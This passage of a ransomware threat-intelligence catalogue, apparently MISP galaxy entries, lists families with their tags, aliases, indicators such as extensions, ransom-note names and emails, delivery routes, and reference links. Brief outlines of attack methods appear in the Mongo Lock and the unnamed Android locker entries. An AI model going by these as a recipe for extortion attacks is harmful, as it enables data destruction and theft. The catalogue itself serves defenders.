Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system. The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: misp-galaxy:ransomware="RedEye"

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: misp-galaxy:ransomware="Aurora Ransomware"

Aurora Ransomware is also known as:

• Zorro Ransomware
PGPSnippet Ransomware

The tag is: misp-galaxy:ransomware="PGPSnippet Ransomware"

Table 7838. Table References

Links

https://twitter.com/demonslay335/status/1004435398687379456
https://id-ransomware.blogspot.com/2018/05/aurora-ransomware.html

Spartacus Ransomware

The tag is: misp-galaxy:ransomware="Spartacus Ransomware"

Table 7839. Table References

Links

https://twitter.com/demonslay335/status/1005138187621191681

Donut

S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.

The tag is: misp-galaxy:ransomware="Donut"

Table 7840. Table References

Links

https://twitter.com/siri_urz/status/1005438610806583296
http://id-ransomware.blogspot.com/2018/06/donut-ransomware.html

NemeS1S Ransomware

Ransomware as a Service

The tag is: misp-galaxy:ransomware="NemeS1S Ransomware"

Table 7841. Table References
Paradise Ransomware

MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1_{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.

The tag is: _misp-galaxy:ransomware="Paradise Ransomware"_

Table 7842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Damian1338B/status/1005411102660923392">https://twitter.com/Damian1338B/status/1005411102660923392</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html">https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html</a></td>
</tr>
</tbody>
</table>

B2DR Ransomware

uses the .reycarnasi1983@protonmail.com.gw3w and a ransom note named ScrewYou.txt

The tag is: _misp-galaxy:ransomware="B2DR Ransomware"_

Table 7843. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1005420103415017472">https://twitter.com/malwrhunterteam/status/1005420103415017472</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/993499349199056897">https://twitter.com/malwrhunterteam/status/993499349199056897</a></td>
</tr>
</tbody>
</table>

YYTO Ransomware

uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt

The tag is: _misp-galaxy:ransomware="YYTO Ransomware"_

Table 7844. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1006220895302705154">https://twitter.com/demonslay335/status/1006220895302705154</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html">https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html">http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html</a></td>
</tr>
</tbody>
</table>
**Unnamed ramsomware 2**

The tag is: `misp-galaxy:ransomware="Unnamed ramsomware 2"

**Table 7845. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1007334654918250496">https://twitter.com/demonslay335/status/1007334654918250496</a></td>
</tr>
</tbody>
</table>

**Everbe Ransomware**

The tag is: `misp-galaxy:ransomware="Everbe Ransomware"

**Table 7846. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1065675918000234497">https://twitter.com/malwrhunterteam/status/1065675918000234497</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2018/03/everbe-ransomware.html">http://id-ransomware.blogspot.com/2018/03/everbe-ransomware.html</a></td>
</tr>
</tbody>
</table>

**DirCrypt**

The tag is: `misp-galaxy:ransomware="DirCrypt"

View relationships graph

DirCrypt has relationships with:

- similar: `misp-galaxy:malpedia="DirCrypt"` with `estimative-language:likelihood-probability="likely"

**Table 7847. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/">https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/</a></td>
</tr>
</tbody>
</table>

**DBGer Ransomware**

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan’s modus
RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail address

The tag is: *misp-galaxy:ransomware="RASTAKHIZ"*

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir. Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

Table 7850. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**WannaSmile**

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: *misp-galaxy:ransomware="WannaSmile"*

**Table 7851. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Unnamed Android Ransomware**

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: *misp-galaxy:ransomware="Unnamed Android Ransomware"*

**Table 7852. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KEYPASS**

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: *misp-galaxy:ransomware="KEYPASS"

KEYPASS is also known as:

- KeyPass

**Table 7853. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

The tag is: misp-galaxy:ransomware="STOP Ransomware"

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: misp-galaxy:ransomware="Barack Obama's Everlasting Blue Blackmail Virus Ransomware"

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:

- Barack Obama’s Blackmail Virus Ransomware

CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victim's files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file's name. All other files will only have the first 1,024 bytes encrypted and will have the
.partially.cryptoNar extensions appended to the file’s name.

The tag is: misp-galaxy:ransomware="CryptoNar"

View relationships graph

CryptoNar has relationships with:

- similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Table 7856. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1034492151541977088">https://twitter.com/malwrhunterteam/status/1034492151541977088</a></td>
</tr>
</tbody>
</table>

CreamPie Ransomware

Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.

The tag is: misp-galaxy:ransomware="CreamPie Ransomware"

Table 7857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/1033656080839139333">https://twitter.com/JakubKroustek/status/1033656080839139333</a></td>
</tr>
</tbody>
</table>

Jeff the Ransomware

Looks to be in-development as it does not encrypt.

The tag is: misp-galaxy:ransomware="Jeff the Ransomware"

Table 7858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/leotpsc/status/1033625496003731458">https://twitter.com/leotpsc/status/1033625496003731458</a></td>
</tr>
</tbody>
</table>
Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: misp-galaxy:ransomware="Cassetto Ransomware"

Table 7859. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1034213399922524160">https://twitter.com/demonslay335/status/1034213399922524160</a></td>
</tr>
</tbody>
</table>

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"

Acroware Cryptolocker Ransomware is also known as:

- Acroware Screenlocker

Table 7860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/leotpsc/status/1034346447112679430">https://twitter.com/leotpsc/status/1034346447112679430</a></td>
</tr>
</tbody>
</table>

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: misp-galaxy:ransomware="Termite Ransomware"

Table 7861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/B_H101/status/1034379267956715520">https://twitter.com/B_H101/status/1034379267956715520</a></td>
</tr>
</tbody>
</table>
**PICO Ransomware**

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: *misp-galaxy:ransomware="PICO Ransomware"*

PICO Ransomware is also known as:

- Pico Ransomware

*Table 7862. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/siri">https://twitter.com/siri</a>_ urz/status/1035138577934557184</td>
</tr>
</tbody>
</table>

**Sigma Ransomware**

Today one of our volunteers, Aura, told me about a new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: *misp-galaxy:ransomware="Sigma Ransomware"*

*Table 7863. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Crypt0saur**

The tag is: *misp-galaxy:ransomware="Crypt0saur"*

**Mongo Lock**

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.

The tag is: *misp-galaxy:ransomware="Mongo Lock"*
Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: `misp-galaxy:ransomware="Kraken Cryptor Ransomware"`

SAVEfiles

The tag is: `misp-galaxy:ransomware="SAVEfiles"`

File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim's are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: `misp-galaxy:ransomware="File-Locker"`
CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim's files.

The tag is: *misp-galaxy:ransomware="CommonRansom"*

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: *misp-galaxy:ransomware="God Crypt Joke Ransomware"*

God Crypt Joke Ransomware is also known as:

- Godsomware v1.0
- Ransomware God Crypt

DecryptFox Ransomware

Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .enr extension and drops a ransom note named readmy.txt.

The tag is: *misp-galaxy:ransomware="DecryptFox Ransomware"*
garrantydecrypt

Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named `RECOVERY_FILES.txt`

The tag is: `misp-galaxy:ransomware="garrantydecrypt"`

Table 7871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1049325784979132417">https://twitter.com/demonslay335/status/1049325784979132417</a></td>
</tr>
</tbody>
</table>

MVP Ransomware

Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.

The tag is: `misp-galaxy:ransomware="MVP Ransomware"`

Table 7872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/siri_urz/status/1039077365039673344">https://twitter.com/siri_urz/status/1039077365039673344</a></td>
</tr>
</tbody>
</table>

StorageCrypter

Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named `read_me_for_recover_your_files.txt`.

The tag is: `misp-galaxy:ransomware="StorageCrypter"`

StorageCrypter is also known as:

- SambaCry

Table 7873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>5158</td>
</tr>
</tbody>
</table>
Rektware

GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension

The tag is: `misp-galaxy:ransomware="Rektware"`

Table 7874. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1040677247735279616">https://twitter.com/GrujaRS/status/1040677247735279616</a></td>
</tr>
</tbody>
</table>

M@r1a ransomware

The tag is: `misp-galaxy:ransomware="M@r1a ransomware"`

M@r1a ransomware is also known as:

- M@r1a
- BlackHeart

Table 7875. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1058775145005887489">https://twitter.com/malwrhunterteam/status/1058775145005887489</a></td>
</tr>
</tbody>
</table>

"prepending (enc) ransomware" (Not an official name)

The tag is: `misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"

"prepending (enc) ransomware" (Not an official name) is also known as:

- Aperfectday2018

Table 7876. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1059470985055875074">https://twitter.com/demonslay335/status/1059470985055875074</a></td>
</tr>
</tbody>
</table>
PyCL Ransomware

The tag is: `misp-galaxy:ransomware="PyCL Ransomware"

PyCL Ransomware is also known as:

• Dxh26wam

Table 7877. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1060921043957755904">https://twitter.com/demonslay335/status/1060921043957755904</a></td>
<td></td>
</tr>
</tbody>
</table>

Vapor Ransomware

MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.

The tag is: `misp-galaxy:ransomware="Vapor Ransomware"

Table 7878. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1063769884608348160">https://twitter.com/malwrhunterteam/status/1063769884608348160</a></td>
<td></td>
</tr>
</tbody>
</table>

EnyBenyHorsuke Ransomware

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: `misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"

Table 7879. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1063930127610986496">https://twitter.com/GrujaRS/status/1063930127610986496</a></td>
<td></td>
</tr>
</tbody>
</table>

DeLpHiMoRix

The tag is: `misp-galaxy:ransomware="DeLpHiMoRix"

DeLpHiMoRix is also known as:

• DelphiMorix
• DelphiMorix!

EnyBeny Nuclear Ransomware

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.

The tag is: misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"

Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named How_To_Decrypt_My_File.txt.

The tag is: misp-galaxy:ransomware="Lucky Ransomware"

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent's WeChat payment service by scanning a QR code.
The tag is: misp-galaxy:ransomware="WeChat Ransom"

WeChat Ransom is also known as:

- UNNAMED1989

**Table 7883. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-">https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-</a></td>
</tr>
<tr>
<td>pc-in-china-demands-wechat-payment/</td>
</tr>
<tr>
<td>dev-behind-unnamed1989-wechat-ransomware/</td>
</tr>
</tbody>
</table>

**IsraBye**

The tag is: misp-galaxy:ransomware="IsraBye"

**Table 7884. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-">https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-</a></td>
</tr>
<tr>
<td>december-7th-2018-wechat-ransomware-scammers-and-more/</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=QevoUzbqNTQ">https://www.youtube.com/watch?v=QevoUzbqNTQ</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1070011234521673728">https://twitter.com/GrujaRS/status/1070011234521673728</a></td>
</tr>
</tbody>
</table>

**Dablio Ransomware**

The tag is: misp-galaxy:ransomware="Dablio Ransomware"

View relationships graph

Dablio Ransomware has relationships with:

- similar: misp-galaxy:ransomware="HolyCrypt" with estimative-language:likelihood-probability="likely"

**Table 7885. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/struppigel/status/1069905624954269696">https://twitter.com/struppigel/status/1069905624954269696</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-">https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-</a></td>
</tr>
<tr>
<td>december-7th-2018-wechat-ransomware-scammers-and-more/</td>
</tr>
</tbody>
</table>

**Gerber Ransomware 1.0**

The tag is: misp-galaxy:ransomware="Gerber Ransomware 1.0"
Gerber Ransomware 3.0

The tag is: `misp-galaxy:ransomware="Gerber Ransomware 3.0"`

Outsider

The tag is: `misp-galaxy:ransomware="Outsider"`

JungleSec


The tag is: `misp-galaxy:ransomware="JungleSec"`

EQ Ransomware

GrujaRS discovered the EQ Ransomware that drops a ransom note named README_BACK_FILES.htm and uses `.f**k` (censored) as its extension for encrypted files. May be GlobeImposter.

The tag is: `misp-galaxy:ransomware="EQ Ransomware"`
Mercury Ransomware

extension ".Mercury", note "!!!READ_IT!!!.txt" with 4 different 64-char hex as ID, 3 of which have dashes. Possible filemarker, same in different victim’s files.

The tag is: misp-galaxy:ransomware="Mercury Ransomware"

Table 7890. Table References

Links

https://twitter.com/demonslay335/status/1072164314608480257

Forma Ransomware

The tag is: misp-galaxy:ransomware="Forma Ransomware"

Forma Ransomware is also known as:

• FORMA

Table 7891. Table References

Links

https://twitter.com/GrujaRS/status/1072468548977680385

Djvu

The tag is: misp-galaxy:ransomware="Djvu"

Table 7892. Table References

Links

https://twitter.com/demonslay335/status/1072907748155842565

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat
actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: `misp-galaxy:ransomware="Ryuk ransomware"`

### Table 7893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**BitPaymer**

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: `misp-galaxy:ransomware="BitPaymer"`

BitPaymer is also known as:

- FriedEx
- IEncrypt

### Table 7894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**LockerGoga**

The tag is: `misp-galaxy:ransomware="LockerGoga"`

View relationships graph

LockerGoga has relationships with:

- similar: `misp-galaxy:ransomware="Nodera Ransomware"` with estimative-language:likelihood-probability="roughly-even-chance"
Princess Evolution

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig’s traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren’t diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: `misp-galaxy:ransomware="Princess Evolution"`

Princess Evolution is also known as:

- PrincessLocker Evolution

Jokeroo

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: `misp-galaxy:ransomware="Jokeroo"`

Jokeroo is also known as:

- Fake GandCrab
GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

The tag is: *misp-galaxy:ransomware="GlobeImposter"*

**Table 7898. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BlackWorm

BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.

The tag is: *misp-galaxy:ransomware="BlackWorm"*

**Table 7899. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tellyouthepass

Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.

The tag is: *misp-galaxy:ransomware="Tellyouthepass"*

**Table 7900. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>


BigBobRoss

BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted files marked with .obfuscated appendix.

The tag is: *misp-galaxy:ransomware="BigBobRoss"

Table 7901. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.2-spyware.com/remove-bigbobross-ransomware.html">https://www.2-spyware.com/remove-bigbobross-ransomware.html</a></td>
</tr>
</tbody>
</table>

Planetary

First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.

The tag is: *misp-galaxy:ransomware="Planetary"

Table 7902. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cr1ptT0r

Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.

The tag is: *misp-galaxy:ransomware="Cr1ptT0r"

Cr1ptT0r is also known as:

- Criptt0r
- Cr1pt0r
- Cripttor

Table 7903. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware">https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r</a></td>
</tr>
</tbody>
</table>
**Sodinokibi**

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco's Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: misp-galaxy:ransomware="Sodinokibi"

Sodinokibi is also known as:

- REvil
- Revil

**Phobos**

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: misp-galaxy:ransomware="Phobos"

Phobos is also known as:

- Java NotDharma

**GetCrypt**

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: misp-galaxy:ransomware="GetCrypt"
Nemty

A new ransomware family dubbed “Nemty” for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.

The tag is: `misp-galaxy:ransomware="Nemty"`

View relationships graph

Nemty has relationships with:

- related-to: `misp-galaxy:ransomware="Nefilim"` with `estimative-language:likelihood-probability="likely"`

Buran

Buran is a new version of the Vega ransomware strain (a.k.a. Jamper, Ghost, Buhtrap) that attacked accountants from February through April 2019. The new Buran ransomware first was discovered by nao_sec in June 2019, delivered by the RIG Exploit Kit, as reported by BleepingComputer.

The tag is: `misp-galaxy:ransomware="Buran"`

Hildacrypt

The Hildacrypt ransomware encrypts the victim’s files with a strong encryption algorithm and the filename extension .hilda until the victim pays a fee to get them back.

The tag is: `misp-galaxy:ransomware="Hildacrypt"`
**Mr.Dec**

Mr. Dec ransomware is cryptovirus that was first spotted in mid-May 2018, and since then was updated multiple times. The ransomware encrypts all personal data on the device with the help of AES encryption algorithm and appends .[ID]random 16 characters[ID] file extension, preventing from their further usage.

